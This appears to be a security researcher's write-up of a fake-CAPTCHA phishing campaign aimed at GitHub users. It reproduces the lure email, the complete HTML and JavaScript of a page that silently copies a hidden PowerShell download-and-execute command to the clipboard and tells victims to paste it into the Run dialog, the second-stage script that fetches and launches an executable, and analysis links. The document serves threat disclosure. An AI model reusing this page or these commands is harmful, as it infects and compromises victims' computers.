Email received

Hey there!

We have detected a security vulnerability in your repository. Please contact us at https://github-scanner.com to get more information on how to fix this issue.

Best regards,
Github Security Team

JS

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Verify you are human</title>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            margin: 0;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #f0f0f0;
            font-family: Arial, sans-serif;
            position: relative;
        }

        .captcha-box {
            background-color: white;
            padding: 30px 40px;
            border-radius: 20px;
            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.15);
            width: 500px;
            text-align: center;
            position: relative;
            z-index: 1;
        }

        .captcha-title {
            color: #4285F4;
            font-size: 36px;
            font-weight: bold;
            margin-bottom: 20px;
        }

        .captcha-subtext {
            color: #333;
            font-size: 18px;
            margin-bottom: 40px;
        }

        .captcha-button {
            background-color: #4285F4;
            color: white;
            font-size: 20px;
            font-weight: bold;
            padding: 15px;
            border: none;
            border-radius: 10px;
            cursor: pointer;
            display: flex;
            justify-content: center;
            align-items: center;
            width: 100%;
        }

        .captcha-button img {
            width: 30px;
            height: 30px;
            margin-right: 10px;
        }

        .modal-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 10;
        }

        .modal {
            background-color: white;
            padding: 40px;
            border-radius: 15px;
            width: 400px;
            text-align: center;
            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
        }

        .modal-title {
            font-size: 32px;
            color: #4285F4;
            margin-bottom: 30px;
            font-weight: bold;
        }

        .modal-step {
            font-size: 20px;
            margin: 15px 0;
            color: #333;
            line-height: 1.6;
        }

        .modal-step i {
            font-size: 22px;
            margin: 0 8px;
            color: inherit;
        }


        .modal-step p {
            margin: 0;
        }
    </style>
</head>
<body>
    <div class="captcha-box">
        <div class="captcha-title">Verify You Are Human</div>
        <div class="captcha-subtext">Please verify that you are a human to continue.</div>
        <button class="captcha-button" id="verifyButton">
            <img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" alt="Robot Icon">
            I'm not a robot
        </button>
    </div>


    <div class="modal-bg" id="modalBg">
        <div class="modal">
            <div class="modal-title">Verification Steps</div>
            <div class="modal-step">
                <p>1. Press Windows Button "<i class="fa-brands fa-windows"></i>" + R</p>
            </div>
            <div class="modal-step">
                <p>2. Press CTRL + V</p>
            </div>
            <div class="modal-step">
                <p>3. Press Enter</p>
            </div>
        </div>
    </div>

    <script>

        const verifyButton = document.getElementById('verifyButton');
        const modalBg = document.getElementById('modalBg');


        verifyButton.addEventListener('click', function() {
            modalBg.style.display = 'flex'; 
            const captchaText = "powershell.exe -w hidden -Command \"iex (iwr 'https://github-scanner.com/download.txt').Content\" # \"✅ ''I am not a robot - reCAPTCHA Verification ID: 93752\"";
            const tmpTxtArea = document.createElement("textarea");
            tmpTxtArea.value = captchaText;
            document.body.appendChild(tmpTxtArea);
            tmpTxtArea.select();
            document.execCommand("copy");
            document.body.removeChild(tmpTxtArea);


        });

    </script>
</body>
</html>

Value in the buffer to be executed

   $webClient = New-Object System.Net.WebClient
   $url1 = "https://github-scanner.com/l6E.exe"
   $filePath1 = "$env:TEMP\SysSetup.exe"
   $webClient.DownloadFile($url1, $filePath1)
   Start-Process -FilePath  $env:TEMP\SysSetup.exe

References

https://pandora.circl.lu/analysis/21e8f693-361b-4a04-853c-276f9dd841e4/seed-1XqUr4mADaFYlLAyrBH8oQUBgOoEbceZ586b8h05YyA (file l6E.exe static analysis)
https://lookyloo.circl.lu/tree/91106035-dfec-4acc-af06-c9fc36c62774 - malicious website analysis

adulau/malicious-captcha.md

Email received

JS

Value in the buffer to be executed

References